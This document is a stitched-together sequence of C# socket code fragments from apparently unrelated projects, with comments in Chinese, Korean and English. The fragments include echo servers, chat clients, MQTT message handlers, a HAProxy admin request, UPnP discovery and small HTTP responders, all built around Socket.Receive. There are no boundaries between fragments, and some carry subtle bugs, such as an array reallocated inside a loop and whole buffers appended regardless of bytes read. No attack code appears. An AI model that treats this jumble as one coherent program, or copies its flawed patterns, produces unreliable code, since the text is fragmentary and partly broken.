Assert.Fail("socket连接成功后发数据，服务器没收到数据。");
outbuffer = new byte[10];
len = client.Receive(outbuffer);
Assert.AreEqual(len, 2);
Assert.AreEqual(outbuffer[0], 1);
server.Close();
}
static void socket()
{
// (1) 소켓 객체 생성 (TCP 소켓)
System.Net.Sockets.Socket sock = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
// (2) 포트에 바인드
IPEndPoint ep = new IPEndPoint(IPAddress.Any, 7000);
sock.Bind(ep);
// (3) 포트 Listening 시작
sock.Listen(10);
// (4) 연결을 받아들여 새 소켓 생성 (하나의 연결만 받아들임)
System.Net.Sockets.Socket clientSock = sock.Accept();
byte[] buff = new byte[8192];
while (!Console.KeyAvailable) // 키 누르면 종료
{
// (5) 소켓 수신
int n = clientSock.Receive(buff);
string data = Encoding.UTF8.GetString(buff, 0, n);
Console.WriteLine(data);
// (6) 소켓 송신
clientSock.Send(buff, 0, n, SocketFlags.None); // echo
}
// (7) 소켓 닫기
clientSock.Close();
sock.Close();
}
/// <summary>
/// 开启服务,连接服务端
/// </summary>
public void StartClient()
{
try
{
//1.0 实例化套接字(IP4寻址地址,流式传输,TCP协议)
_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//2.0 创建IP对象
IPAddress address = IPAddress.Parse(_ip);
//3.0 创建网络端口包括ip和端口
IPEndPoint endPoint = new IPEndPoint(address, _port);
//4.0 建立连接
_socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
_socket.Connect(endPoint);
//Console.WriteLine("连接服务器成功");
//5.0 接收数据
int length = _socket.Receive(buffer);
var t = string.Format("接收服务器{0},消息:{1}", _socket.RemoteEndPoint.ToString(), Encoding.UTF8.GetString(buffer, 0, length));
//6.0 像服务器发送消息
for (int i = 0; i < 10; i++)
{
Thread.Sleep(2000);
string sendMessage = string.Format("客户端发送的消息,当前时间{0}", DateTime.Now.ToString());
_socket.Send(Encoding.UTF8.GetBytes(sendMessage));
var tt = string.Format("像服务发送的消息:{0}", sendMessage);
}
}
catch (Exception ex)
{
_socket.Shutdown(SocketShutdown.Both);
_socket.Close();
//Console.WriteLine(ex.Message);
}
//Console.WriteLine("发送消息结束");
///Console.ReadKey();
}
//***************************************************************
// Message handlers (received)
//***************************************************************
public static int handleSUBACK(Socket mySocket, byte firstByte)
{
int remainingLength = 0;
int messageID = 0;
int index = 0;
int QoSIndex = 0;
int[] QoS = null;
byte[] buffer = null;
remainingLength = undoRemainingLength(mySocket);
buffer = new byte[remainingLength];
if ((mySocket.Receive(buffer, 0) != remainingLength) || remainingLength < 3)
{
return(Constants.ERROR);
}
messageID += buffer[index++] * 256;
messageID += buffer[index++];
Debug.Print("SUBACK: Message ID: " + messageID);
do
{
QoS = new int[remainingLength - 2];
QoS[QoSIndex++] = buffer[index++];
Debug.Print("SUBACK: QoS Granted: " + QoS[QoSIndex - 1]);
} while(index < remainingLength);
return(Constants.SUCCESS);
}
public void ClientService()
{
string data = null;
byte[] bytes = new byte[4096];
// Console.WriteLine("新用户的连接。。。");
dlqss = true;
try
{
while ((i = client.Receive(bytes)) != 0)
{
if (i < 0)
{
break;
}
data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
//Console.WriteLine("收到数据: {0}", data);
//data = data.ToUpper();
if (RustProtect.PlayerProtect.jinfu)
{
data = "huoji|jinfu";
bytes = System.Text.Encoding.ASCII.GetBytes(data);
client.Send(bytes);
RustProtect.PlayerProtect.jinfu = !RustProtect.PlayerProtect.jinfu;
}
}
}
catch (System.Exception exp)
{
//Console.WriteLine(exp.ToString());
}
client.Close();
dlqss = false;
// Console.WriteLine("用户断开连接。。。");
}
private void _server_SocketConnected(System.Net.Sockets.Socket socket)
{
try
{
//设置接收标志位
_recevingFlag = true;
//配置Socket的Timeout
socket.ReceiveTimeout = SOCKET_RECEIVE_TIMEOUT;
byte[] headerBytes = new byte[16];
int byteRec = socket.Receive(headerBytes, 0, 16, SocketFlags.None);
string headerMsg = Encoding.Unicode.GetString(headerBytes.Take(byteRec).ToArray(), 0, byteRec).TrimEnd('\0');
switch (headerMsg)
{
case "$RMF#":
//获取本地监控文件夹信息
List <string> monitorFloders = SimpleIoc.Default.GetInstance <MainViewModel>().MonitorCollection.Select(m => m.MonitorDirectory).ToList();
//通过连接Socket返回（发送）监控文件夹信息
SendMoniterFolders(socket, monitorFloders);
break;
case "$RFS#":
ReceiveSubscribInfo(socket);
break;
case "$BTF#":
ReceiveFiles(socket);
break;
case "$DMF#":
ReceiveDeleteMonitor(socket);
break;
case "$DSF#":
ReceiveUnregeistSubscirbe(socket);
break;
default:
_logger.Error(string.Format("套接字所接受字节数据无法转换为有效数据！转换结果为：{0}", headerMsg));
break;
}
//回复接收标志位
_recevingFlag = false;
}
catch (SocketException se)
{
_logger.Error(string.Format("本地接收远端套接字的发送数据时，发生套接字异常！SocketException ErrorCode:{0}", se.ErrorCode));
CloseSocket(socket);
MessageBox.Show("本地接收远端套接字的发送数据时，发生套接字异常！", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
//回复接收标志位
_recevingFlag = false;
}
catch (Exception e)
{
_logger.Error(string.Format("本地接收远端套接字的发送数据时，发生异常！异常为：{0}", e.Message));
CloseSocket(socket);
MessageBox.Show("本地接收远端套接字的发送数据时，发生异常！", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
//回复接收标志位
_recevingFlag = false;
}
}
public static void Start_Client(System.Net.Sockets.Socket socket, IPEndPoint remoteEP)
{
// Data buffer
byte[] bytes = new byte[1024];
// Connect to a server
try {
socket.Connect(remoteEP);
status_label.Text = "connected";
// Receive data
int bytesRec = socket.Receive(bytes);
console_text.Buffer.Text = Encoding.ASCII.GetString(bytes, 0, bytesRec);
socket.Shutdown(SocketShutdown.Both);
socket.Close();
status_label.Text = "disconnected";
} catch (ArgumentNullException ane) {
console_text.Buffer.Text = ane.ToString();
} catch (SocketException se) {
console_text.Buffer.Text = se.ToString();
} catch (Exception e) {
console_text.Buffer.Text = e.ToString();
}
}
/// <summary> This method sends data down your connected socket connection to the specified server Synchronously.</summary>
/// <param name="command"> This is the command that your are sending to the server.</param>
/// <returns> The return value is a string of the response from the server.</returns>
public SocketResponse TransmitDataSynchronously(string command)
{
if (!_socket.Connected)
{
throw new Exception("Socket is no longer connected." + Environment.NewLine);
}
byte[] byteData = _connInfo.Encoder.GetBytes(command);
_socket.Send(byteData, byteData.Length, 0);
int bytesReceived;
do
{
System.Threading.Thread.Sleep(1000);
bytesReceived = _socket.Available;
if (bytesReceived > 0)
{
bytesReceived = _socket.Receive(_buffer, _buffer.Length, 0);
_receivedData += _connInfo.Encoder.GetString(_buffer, 0, bytesReceived);
}
} while (bytesReceived > 0);
return(new SocketResponse
{
Data = _receivedData,
TimeoutOccurred = false
});
}
/// <summary>Reads a number of characters from the current source Stream and writes the data to the target array at the specified index.</summary>
/// <param name="sourceStream">The source Stream to read from.</param>
/// <param name="target">Contains the array of characteres read from the source Stream.</param>
/// <param name="start">The starting index of the target array.</param>
/// <param name="count">The maximum number of characters to read from the source Stream.</param>
/// <returns>The number of characters read. The number will be less than or equal to count depending on the data available in the source Stream. Returns -1 if the end of the stream is reached.</returns>
public static System.Int32 ReadInput(System.Net.Sockets.Socket sock, byte[] target, int start, int count)
{
// Returns 0 bytes if not enough space in target
if (target.Length == 0)
{
return(0);
}
int bytesRead, totalBytesRead = 0, buffStart = start;
while (true)
{
try
{
if (!sock.Connected)
{
throw new ExtSocketException("socket closed");
}
bytesRead = sock.Receive(target, start, count, SocketFlags.None);
if (bytesRead == 0)
{
throw new ExtSocketException("socket closed");
}
totalBytesRead += bytesRead;
if (bytesRead == count)
{
break;
}
else
{
count = count - bytesRead;
}
start = start + bytesRead;
}
catch (SocketException e)
{
if (e.SocketErrorCode == SocketError.NoBufferSpaceAvailable)
{
continue;
}
else
{
throw;
}
}
}
// Returns -1 if EOF
if (totalBytesRead == 0)
{
return(-1);
}
return(totalBytesRead);
}
public string Receive()
{
var data = new byte[Buffer];
var recv = Socket.Receive(data);
return(Encoding.UTF8.GetString(data, 0, recv));
}
public void ClientService()
{
var bytes = new byte[4096];
try
{
var i = 0;
while ((i = client.Receive(bytes)) != 0)
{
if (i < 0)
{
break;
}
var callbackBuff = new byte[i];
Buffer.BlockCopy(bytes, 0, callbackBuff, 0, i);
client.Send(callbackBuff);
callback.Invoke(callbackBuff);
}
}
catch (Exception exp)
{
Console.WriteLine(exp.ToString());
}
client.Close();
}
private static bool PostAction(Proxy p, Server server, Action action)
{
var instance = p.Instance;
// if we can't issue any commands, bomb out
if (instance.AdminUser.IsNullOrEmpty() || instance.AdminPassword.IsNullOrEmpty())
{
return(false);
}
var loginInfo = $"{instance.AdminUser}:{instance.AdminPassword}";
var haproxyUri = new Uri(instance.Url);
var requestBody = $"s={server.Name}&action={action.ToString().ToLower()}&b={p.Name}";
var requestHeader = $"POST {haproxyUri.AbsolutePath} HTTP/1.1\r\nHost: {haproxyUri.Host}\r\nContent-Length: {Encoding.GetEncoding("ISO-8859-1").GetBytes(requestBody).Length}\r\nAuthorization: Basic {Convert.ToBase64String(Encoding.Default.GetBytes(loginInfo))}\r\n\r\n";
try
{
var socket = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.Connect(haproxyUri.Host, haproxyUri.Port);
socket.Send(Encoding.UTF8.GetBytes(requestHeader + requestBody));
var responseBytes = new byte[socket.ReceiveBufferSize];
socket.Receive(responseBytes);
var response = Encoding.UTF8.GetString(responseBytes);
instance.PurgeCache();
return(response.StartsWith("HTTP/1.0 303") || response.StartsWith("HTTP/1.1 303"));
}
catch (Exception e)
{
Current.LogException(e);
return(false);
}
}
/// <summary>
/// Processes the request.
/// </summary>
private void ProcessRequest()
{
const Int32 c_microsecondsPerSecond = 1000000;
// 'using' ensures that the client's socket gets closed.
using (m_clientSocket)
{
// Wait for the client request to start to arrive.
Byte[] buffer = new Byte[1024];
if (m_clientSocket.Poll(5 * c_microsecondsPerSecond,
SelectMode.SelectRead))
{
// If 0 bytes in buffer, then the connection has been closed,
// reset, or terminated.
if (m_clientSocket.Available == 0)
{
return;
}
// Read the first chunk of the request (we don't actually do
// anything with it).
Int32 bytesRead = m_clientSocket.Receive(buffer,
m_clientSocket.Available, SocketFlags.None);
// Return a static HTML document to the client.
String s =
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n<html><head><title>.NET Micro Framework Web Server</title></head>" +
"<body><bold><a href=\"http://www.microsoft.com/netmf/\">Learn more about the .NET Micro Framework by clicking here</a></bold></body></html>";
m_clientSocket.Send(Encoding.UTF8.GetBytes(s));
}
}
}
private static bool Discover() {
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
s.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
byte[] data = Encoding.ASCII.GetBytes(req);
IPEndPoint ipe = new IPEndPoint(IPAddress.Broadcast, 1900);
byte[] buffer = new byte[0x1000];
DateTime start = DateTime.Now;
try {
do {
s.SendTo(data, ipe);
s.SendTo(data, ipe);
s.SendTo(data, ipe);
int length = 0;
do {
length = s.Receive(buffer);
string resp = Encoding.ASCII.GetString(buffer, 0, length);
if (resp.Contains("upnp:rootdevice")) {
resp = resp.Substring(resp.ToLower().IndexOf("location:") + 9);
resp = resp.Substring(0, resp.IndexOf("\r")).Trim();
if (!string.IsNullOrEmpty(_serviceUrl = GetServiceUrl(resp))) {
_descUrl = resp;
return true;
}
}
} while (length > 0);
} while (start.Subtract(DateTime.Now) < _timeout);
return false;
}
catch {
return false;
}
}
void recv(System.Net.Sockets.Socket socket, Queue recv)
{
string recvmsg = String.Empty;
byte[] buffer = new byte[1024 * 1024];
int n = 1;
int working = 1;
while (working == 1)
{
Thread.Sleep(200);
try{
n = socket.Receive(buffer);
}
catch (Exception)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("");
Console.WriteLine("");
Console.WriteLine("Connection Failed");
Console.ForegroundColor = ConsoleColor.White;
working = 0;
}
recvmsg = Encoding.UTF8.GetString(buffer, 0, n);
recv.Enqueue((object)recvmsg);
}
}
public void Run()
{
int inBufferCount;
try
{
serialPort = Comm2IP.GetSerialPort(socket, comPort, baudRate);
while (true)
{
inBufferCount = socket.Receive(inBuffer);
if (inBufferCount == 0)
{
break;
}
serialPort.Send(inBuffer, inBufferCount);
}
}
catch (Exception e)
{
log.Error(e);
}
finally
{
log.Info("Lost connection from: " + socket.RemoteEndPoint + " for: " + comPort + "@" + baudRate);
Comm2IP.CloseSerialPort(serialPort);
try { socket.Close(); }
catch { }
}
}
public void SentMessage(ServerFunctionsNames serverFunctionName, object data = null, string UserName = "******")
{
clientSocket = new Sockets.Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
try
{
clientSocket.Connect(remoteEndPoint);
var buffer = new byte[2048];
byte[] messageData = Serializer.Serialize(new SocketMessage(serverFunctionName.ToString(), UserName, data));
var messageSize = BitConverter.GetBytes(messageData.Count() + 4);
var message = messageSize.Concat(messageData).ToArray();
clientSocket.Send(message);
var recievedBytesCount = clientSocket.Receive(buffer);
var recievedMessage = Serializer.Deserialize <SocketMessage>(buffer);
ReflectionHelper.InvokeFunction(clientController, recievedMessage.CallbackFunction, new object[] { recievedMessage.Data });
clientSocket.Shutdown(SocketShutdown.Both);
clientSocket.Close();
}
catch (Exception ex)
{
throw new Exception("Failed to send message to serwer");
}
}
public void OnReceived(IAsyncResult ar)
{
try
{
System.Net.Sockets.Socket sock = (System.Net.Sockets.Socket)ar.AsyncState;
int nBytesRec = sock.EndReceive(ar);
if (nBytesRec > 0)
{
// Read the message
int bytesRead = sock.Receive(m_byBuff, BitConverter.ToInt32(m_msg_header, 0), SocketFlags.None);
// Wrote the data to the List
string received = Encoding.ASCII.GetString(m_byBuff, 0, bytesRead);
JObject obj = JObject.Parse(received);
if (obj["type"].ToString() == "message")
{
string severity = obj["severity"].ToString();
string message = obj["message"].ToString();
if (severity == "info")
{
WriteLog(message, tagInfo);
}
else if (severity == "warning")
{
WriteLog(message, tagWarning);
}
else if (severity == "error")
{
WriteLog(message, tagError);
}
else if (severity == "debug")
{
WriteLog(message, tagDebug);
}
}
else
{
WriteLog("Unknown response from server\n", tagInfo);
}
// If the connection is still usable restablish the callback
Receive(sock);
}
else
{
// If no data was recieved then the connection is probably dead
WriteLog("Server closed connection\n", tagInfo);
sock.Shutdown(SocketShutdown.Both);
sock.Close();
}
}
catch (Exception ex)
{
WriteLog("Unknown error during receive\n", tagInfo);
}
}
/// <summary>
/// 发送数据并接收服务器响应(短连接)
/// </summary>
/// <param name="datagram">报文</param>
/// <returns>返回接收报文和错误消息</returns>
public virtual string SendSyn(string datagram)
{
string response = "";
if (!this.isConnection)
{
return("Fail-EX:服务器连接失败");
}
try
{
//发送的字节数组
Byte[] bytesSent = encod.ToString(datagram + this.Suffix);
// Send data to server.
sock.Send(bytesSent, bytesSent.Length, 0);
}
catch (Exception)
{
//关闭连接
this.Close();
return("Fail-EX:数据发送失败");
}
int bytes = 0;
//接收服务端的响应消息
try
{
bytes = sock.Receive(ReceiveDataBuffer, ReceiveDataBuffer.Length, 0);
}
catch (SocketException se)
{
response = "Fail-EX:" + se.Message;
}
catch (Exception ex)
{
response = "Fail-EX:" + ex.Message;
}
if (bytes > 0)
{
response = encod.ToString(ReceiveDataBuffer, bytes);
//粘报处理
string[] packets = Resolve(response);
foreach (var pack in packets)
{
if (string.IsNullOrEmpty(pack))
{
continue;
}
response = pack;
}
}
//数据接收完成后直接关闭连接,节约资源
try { Close(); }
catch (Exception) { }
//只要发送成功了就返回成功，不管响应是否成功
return(response);
}
protected override int ReadFromSource(bool throwExceptionIfDisconnected, int timeOut, bool throwExceptionOnTimeout)
{
byte[] TempBuff = new byte[mRecvBufferSize];
int LByteCount = 0;
if (timeOut == 0)
{
timeOut = Global.InfiniteTimeOut;
}
else
{
timeOut = mReadTimeout;
}
CheckForDisconnect(throwExceptionIfDisconnected);
//do
//{
if (Readable(timeOut))
{
if (IsOpen())
{
LByteCount = mSocket.Receive(TempBuff);
byte[] DataBuffer = new byte[LByteCount];
Array.Copy(TempBuff, DataBuffer, LByteCount);
// if (_Intercept != null)
// {
// _Intercept.Receive(ref LBuffer);
// LByteCount = LBuffer.Count;
// }
InterceptReceive(ref DataBuffer);
LByteCount = DataBuffer.Length;
mInputBuffer.Write(DataBuffer);
DataBuffer = null;
TempBuff = null;
}
else
{
throw new ClosedSocketException(ResourceStrings.StatusDisconnected);
}
if (LByteCount == 0)
{
CloseGracefully();
}
CheckForDisconnect(throwExceptionIfDisconnected);
return(LByteCount);
}
else
{
if (throwExceptionOnTimeout)
{
throw new ReadTimeoutException();
}
return(-1);
}
//}
//while ((LByteCount == 0) || (IsOpen()));
//return 0;
}
public void ServerThreadProc()
{
while (true)
{
try
{
// 處理用戶端連線
clientSocket = tcpListener.AcceptSocket();
// 取得本機相關的網路資訊
IPEndPoint serverInfo = (IPEndPoint)tcpListener.LocalEndpoint;
// 取得連線用戶端相關的網路連線資訊
IPEndPoint clientInfo = (IPEndPoint)clientSocket.RemoteEndPoint;
Console.WriteLine("Client: " + clientInfo.Address.ToString() + ":" + clientInfo.Port.ToString());
Console.WriteLine("Server: " + serverInfo.Address.ToString() + ":" + serverInfo.Port.ToString());
// 設定接收資料緩衝區
byte[] bytes = new Byte[1024];
// 自已連線的用戶端接收資料
int bytesReceived = clientSocket.Receive(bytes, 0, bytes.Length, SocketFlags.None);
if (bytesReceived > 0)
{
Console.WriteLine("接收位元組數目: {0}", bytesReceived);
Console.WriteLine("接收的資料內容: \r\n" + "{0}", Encoding.UTF8.GetString(bytes, 0, bytesReceived) + "\r\n");
}
// 測試用
string htmlBody = "<html><head><title>Send Test</title></head><body><font size=2 face=Verdana>Sent OK.</font></body></html>";
string htmlHeader = "HTTP/1.0 200 OK" + "\r\n" + "Server: HTTP Server 1.0" + "\r\n" + "Content-Type: text/html" + "\r\n" + "Content-Length: " + htmlBody.Length + "\r\n\r\n";
string htmlContent = htmlHeader + htmlBody;
// 設定傳送資料緩衝區
byte[] msg = Encoding.ASCII.GetBytes(htmlContent);
// 傳送資料至已連線的用戶端
int bytesSend = clientSocket.Send(msg, 0, msg.Length, SocketFlags.None);
Console.WriteLine("傳送位元組數目: {0}", bytesSend);
Console.WriteLine("傳送的資料內容: " + "\r\n" + "{0}", Encoding.UTF8.GetString(msg, 0, bytesSend) + "\r\n");
// 同時暫停用戶端的傳送和接收作業
clientSocket.Shutdown(SocketShutdown.Both);
// 關閉用戶端Socket
clientSocket.Close();
}
catch (Exception ex)
{
Console.WriteLine(ex.StackTrace.ToString());
}
}
}
private void HandleCommunicationWithClient(object clientSocket)
{
System.Net.Sockets.Socket socket = (System.Net.Sockets.Socket)clientSocket;
byte[] recvBytes = new byte[1024];
int bytesRead;
while (true)
{
bytesRead = 0;
try
{
//blocks until a client sends a message
socket.Blocking = true;
bytesRead = socket.Receive(recvBytes, recvBytes.Length, 0);
}
catch
{
//a socket error has occured
break;
}
if (bytesRead == 0)
{
//the client has disconnected from the server
break;
}
//message has successfully been received
Console.WriteLine(Encoding.UTF8.GetString(recvBytes, 0, bytesRead));
//向客户端连续推送数据
byte[] toClientBytes = new byte[1024];
int counter = 0;
while (true)
{
try
{
toClientBytes = Encoding.UTF8.GetBytes(counter + "-向客户端连续推送数据测试\r\n");
socket.Send(toClientBytes, toClientBytes.Length, 0);
Thread.Sleep(1 * 1000);
}
catch (Exception ex)
{
LogHelper.GetInstance().WriteLog(string.Format("向客户端连续推送数据失败：{0}\n{1}", ex.Message, ex.StackTrace), LogType.错误);
break;
}
counter++;
}
}
//关闭Socket连接
socket.Close();
}
/// <summary>
/// Issues a request for the root document on the specified server.
/// </summary>
/// <param name="Proxy"></param>
/// <param name="URL"></param>
/// <param name="port"></param>
/// <returns></returns>
private static String GetWebPage(String Proxy, String URL, Int32 port)
{
const Int32 c_microsecondsPerSecond = 1000000;
string host = GetHostFromURL(URL);
string server = Proxy.Length > 0 ? Proxy : host;
// Create a socket connection to the specified server and port.
using (Socket serverSocket = ConnectSocket(server, port))
{
// Send request to the server.
String request = "GET " + URL + " HTTP/1.1\r\nHost: " + host +
"\r\nConnection: Close\r\n\r\n";
Byte[] bytesToSend = Encoding.UTF8.GetBytes(request);
serverSocket.Send(bytesToSend, bytesToSend.Length, 0);
// Reusable buffer for receiving chunks of the document.
Byte[] buffer = new Byte[1024];
// Accumulates the received page as it is built from the buffer.
String page = String.Empty;
// Wait up to 30 seconds for initial data to be available. Throws
// an exception if the connection is closed with no data sent.
DateTime timeoutAt = DateTime.Now.AddSeconds(30);
while (serverSocket.Available == 0 && DateTime.Now < timeoutAt)
{
System.Threading.Thread.Sleep(100);
}
// Poll for data until 30-second timeout. Returns true for data and
// connection closed.
while (serverSocket.Poll(30 * c_microsecondsPerSecond,
SelectMode.SelectRead))
{
// If there are 0 bytes in the buffer, then the connection is
// closed, or we have timed out.
if (serverSocket.Available == 0)
{
break;
}
// Zero all bytes in the re-usable buffer.
Array.Clear(buffer, 0, buffer.Length);
// Read a buffer-sized HTML chunk.
Int32 bytesRead = serverSocket.Receive(buffer);
// Append the chunk to the string.
page = page + new String(Encoding.UTF8.GetChars(buffer));
}
// Return the complete string.
return(page);
}
}
private void ReceiveData()
{
if (stop)
{
Enable = false;
}
System.Net.Sockets.Socket socket = tl.AcceptSocket();
byte[] data = new byte[socket.ReceiveBufferSize];
socket.Receive(data);
Receive(this, new ReceiveEventArgs(data, ((IPEndPoint)socket.RemoteEndPoint).Address));
}
/// <summary>
/// 读取一个包，包之间采用定界符delimiter分割
/// </summary>
/// <returns></returns>
public void ReadPacket(System.Net.Sockets.Socket socket, out string msg)
{
msg = string.Empty;
byte[] buffer = new byte[1024];//接收缓存
int searchIndex = 0;
while (true)
{
#region 1.在缓冲中搜索分隔符，如果找到，则把分隔符前的字符返回，并移除缓存中的包括分隔符在内及之前的字符
//如果没有找到，从socket中读取一个包
for (; searchIndex <= recvBytes.Count - delimiterBytes.Length; searchIndex++)
{
bool found = true;
for (int i = 0; i < delimiterBytes.Length; i++)
{
if (recvBytes[searchIndex + i] != delimiterBytes[i])
{
found = false;
break;
}
}
if (found)
{
msg = Encoding.UTF8.GetString(recvBytes.ToArray(), 0, searchIndex);
recvBytes.RemoveRange(0, searchIndex + delimiterBytes.Length);
return;
}
}
#endregion
#region 2.从socket接收数据
int recvByteCount = 0;//每次接收到的字节数
try
{
socket.Blocking = true;
recvByteCount = socket.Receive(buffer, buffer.Length, SocketFlags.None);
}
catch (Exception ex)
{
string errMsg = string.Format("Socket消息接收异常：{0}\n{1}", ex.Message, ex.StackTrace);
LogHelper.GetInstance().WriteLog(errMsg, LogType.错误);
Console.WriteLine(errMsg);
break;
}
#endregion
#region 3.将接收到的数据拷贝到list中
for (int i = 0; i < recvByteCount; i++)
{
recvBytes.Add(buffer[i]);
}
#endregion
}
}
public static void Start_Server(IPEndPoint localEndPoint)
{
// Incoming data from the client
string data = null;
// Data buffer
byte[] bytes = new Byte[1024];
// Listen for incoming connections
try {
listener.Bind(localEndPoint);
listener.Listen(10);
while (true)
{
status_label.Text = "Waiting for a connection...";
System.Net.Sockets.Socket handler = listener.Accept();
data = null;
// Process incoming connection
while (true)
{
status_label.Text = "connected";
bytes = new byte[1024];
int bytesRec = handler.Receive(bytes);
data += Encoding.ASCII.GetString(bytes, 0, bytesRec);
// Show data in the console
console_text.Buffer.Text += data + "\n";
if (data.IndexOf("<EOF>") > -1)
{
handler.Shutdown(SocketShutdown.Both);
handler.Close();
status_label.Text = "disconnected";
break;
}
data = null;
}
// Send something back
byte[] msg = Encoding.ASCII.GetBytes("hello sir");
handler.Send(msg);
}
} catch (Exception e) {
console_text.Buffer.Text = e.ToString();
}
}
// Connect acknowledgement - returns 3 more bytes, byte 3
// should be 0 for success
public static int handleCONNACK(Socket mySocket, byte firstByte)
{
int returnCode = 0;
byte[] buffer = new byte[3];
returnCode = mySocket.Receive(buffer, 0);
if ((buffer[0] != 2) || (buffer[2] > 0) || (returnCode != 3))
{
return(Constants.ERROR);
}
return(Constants.SUCCESS);
}
// Messages from the broker come back to us as publish messages
public static int handlePUBLISH(Socket mySocket, byte firstByte)
{
int remainingLength = 0;
int messageID = 0;
int topicLength = 0;
int topicIndex = 0;
int payloadIndex = 0;
int index = 0;
byte[] buffer = null;
byte[] topic = null;
byte[] payload = null;
int QoS = 0x00;
String topicString = null;
String payloadString = null;
remainingLength = undoRemainingLength(mySocket);
buffer = new byte[remainingLength];
if ((mySocket.Receive(buffer, 0) != remainingLength) || remainingLength < 5)
{
return(Constants.ERROR);
}
topicLength += buffer[index++] * 256;
topicLength += buffer[index++];
topic = new byte[topicLength];
while (topicIndex < topicLength)
{
topic[topicIndex++] = buffer[index++];
}
QoS = firstByte & 0x06;
if (QoS > 0)
{
messageID += buffer[index++] * 256;
messageID += buffer[index++];
Debug.Print("PUBLISH: Message ID: " + messageID);
}
topicString = new String(Encoding.UTF8.GetChars(topic));
Debug.Print("PUBLISH: Topic: " + topicString);
payload = new byte[remainingLength - index];
while (index < remainingLength)
{
payload[payloadIndex++] = buffer[index++];
}
Debug.Print("PUBLISH: Payload Length: " + payload.Length);
// This doesn't work if the payload isn't UTF8
payloadString = new String(Encoding.UTF8.GetChars(payload));
Debug.Print("PUBLISH: Payload: " + payloadString);
return(Constants.SUCCESS);
}
